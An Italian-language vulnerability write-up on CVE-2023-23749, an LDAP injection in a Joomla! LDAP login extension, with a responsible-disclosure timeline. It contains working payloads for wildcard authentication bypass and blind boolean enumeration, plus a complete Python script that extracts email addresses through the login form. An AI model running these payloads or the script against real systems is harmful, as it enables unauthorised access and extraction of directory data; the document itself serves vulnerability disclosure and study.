Introduzione

Oggi vi vogliamo spiegare i dettagli della ricerca svolta da Riccardo Krauter su un’estensione del noto CMS Joomla!: LDAP Integration with Active Directory and OpenLDAP - NTLM & Kerberos Login. La vulnerabilità è stata identificata con il CVE-2023-23749 e si tratta di una LDAP Injection che può essere sfrutatta per estrarre dati arbitrari dal server LDAP.

Discovery

L’estensione analizzata si integra con Joomla e con un server LDAP per consentire l’accesso alla parte amministrativa del CMS centralizzando così gli accessi. La ricerca è partita con l’analisi del codice sorgente dell’estensione, con il focus su come viene trattato l’input utente nei punti in cui viene eseguita la query al server LDAP. L’estensione non include molto codice ed è semplice trovare il punto del codice dove viene gestito l’input utente per eseguire la query LDAP. Con occhio attento è stato possibile accorgersi che l’input utente non viene sanificato adeguatamente prima di essere usato nella funzione ldap_search. Di seguito è possibile osservare il flusso del codice vulnerabile.

alt img

alt img

Alla riga 52 troviamo il punto in cui viene preso l’user input e inserito nella variabile $uname dopo averlo passato in input alla funzione trim(). La funzione trim non fa altro che eliminare gli spazi e altri caratteri speciali all’inizio e alla fine della stringa passata come argomento. Questa elaborazione non è sufficiente per rendere sicuro l’input in una query LDAP. Successivamente (righe 79-81) viene poi costruita la variabile $filter facendo uso di $uname. Infine, la varibile $filter viene passata come argomento alla funzione ldap_search che interroga il server LDAP. L’argomento filter rappresenta il filtro che viene applicato per interrogare il server LDAP e che consente di selezionare solo determinati valori in base alle condizione poste nel filtro. Tale parametro però non dovrebbe essere controllabile in modo arbitrario dall’utente in quanto può essere usato per manipolare la search_query ed estrarre dati arbitrari.

Blind LDAP Injection PoC

Per riprodurre la vulnarbilità è stato creato un server con OpenLDAP sul quale sono state inserite due utenze di test che come commonName (cn) hanno “test” e “p4w”. Le specifiche sono visibili nelle immagini sottostanti.

alt img

alt img

Abbiamo anche inserito delle istruzioni di debug per stampare la variabile $filter all’interno del codice sorgente per aiutarci nell’analisi. Eseguendo una richiesta di autenticazione tramite il form di login di Joomla! e inserendo un payoload semplice come il seguente t* nel campo username e la password corretta per l’utente “test”, è possibile osservare che l’injection funziona. Infatti, l’applicazione risponde con una nuova sessione che significa un login avvenuto con successo.

alt img

Dalle stringhe di debug aggiunte in risposta si riesce a capire anche il perchè: il filtro LDAP che viene passato alla ldap_search è il seguente (&(objectClass=*)(cn=t*)), l’inserimento del carattere * ha cambiato la logica della query, filtrando la ricerca per tutti gli utenti che hanno un commonName che inizia con la lettera “t”. Questo scenario rappresenta già di per sè un problema dal punto di vista della sicurezza in quanto è stato possibile autenticarsi senza conoscere il nome completo di un account. In uno scenario realistico, il server LDAP potrebbe contenere informazioni sensibili relative agli account o altri oggetti. Tali informazioni possono essere estratte mediante una tecnica blind boolean. Per estrarre dati arbitrari è quindi necessario trovare un payload di blind LDAP Injection. A tale proposito un payload di PoC che consente di enumerare indirizzi mail arbitrari associati delle utenze LDAP è il seguente: *)(|(cn=test)(mail=<ENUM>*). Tale payload iniettato nel parametro username modifica la variabile $filter come segue: (&(objectClass=*)(cn=*)(|(cn=test)(mail=<ENUM>*))); questo filtro, applicato alla solita ldap_search, estrae dall’LDAP Server tutti gli oggetti che hanno come commonName “test” oppure una mail arbitraria che è possibile enumerare per inferenza.

L’immagine seguente mostra la risposta del server nel caso si immetta una mail che inizia con la stringa “p4w”:

alt img

La risposta del server indica che il login non è andato a buon fine, questo perchè oltre all’utente “test” viene estratto anche l’utente “p4w@example.com” che non condivide la stessa password di “test@example.com”, il che implica che esiste un account con una mail che inizia con la stringa “p4w”. Nell’immagine successiva invece si ha il caso opposto.

alt img

Quando si inserisce una stringa, ad esempio “p4t”, che non coincide con l’inizio di nessuna mail utente, allora l’unica utenza estratta grazie al filtro è “test”, questo implica un login che va a buon fine. Abbiamo dunque un modo per enumerare elementi arbitrari LDAP per inferenza. Per automatizzare la procedura di estrazione è possibile utilizzare uno script come il seguente che automatizza il processo di estrazione mediante una tecnica blind boolean.


import requests
from bs4 import BeautifulSoup
import string
from termcolor import colored

alphabet = string.ascii_letters + string.digits + "@.-_"
host = "http://<HOST>"
path = "/joomla/index.php/component/users/login?Itemid=101"
url = host + path
mail = ''

for i in range(0,20):
    for guess in alphabet:
        s = requests.Session()
        r = s.get(url)

        parsed_html = BeautifulSoup(r.text, features="lxml")
        login_form = parsed_html.body.find('form', attrs={'class':'mod-login'})
        #print(login_form)

        parsed_html = BeautifulSoup(str(login_form), features="lxml")
        input_form_1 = parsed_html.body.find('input', attrs={'name':'return'}).get('value')
        #print(input_form_1)

        parsed_html = BeautifulSoup(str(login_form), features="lxml")
        input_form_2 = parsed_html.body.find('input', attrs={'value':'1','type':'hidden'}).get('name')
        #print(input_form_2)

        payload = "*)(|(cn=test)(mail=" +  mail  + guess + "*)"
        data = {
                "username": payload,
                "password": "test",
                "Submit": "",
                "option": "com_users",
                "task": "user.login",
                "return": input_form_1,
                input_form_2: "1"
                }

        r = s.post(url, allow_redirects=False, data=data)        
        if "joomla_user_state" not in r.cookies:
            mail += guess
            print("[" + colored("+", "green") + "] Match found: " + mail)
            break

Di seguito un’immagine che raffigura l’esecuzione dello script sulla nostra istanza locale di Joomla! vulnerabile.

alt img

Timeline

  • 25/12/2022 - Scoperta la vulnerabilità
  • 27/12/2022 - Contattato gli sviluppatori dell’estensione
  • 14/01/2023 - Pubblicato il fix
  • 17/01/2023 - Assegnato il CVE-2023-23749
  • 23/05/2023 - Public disclosure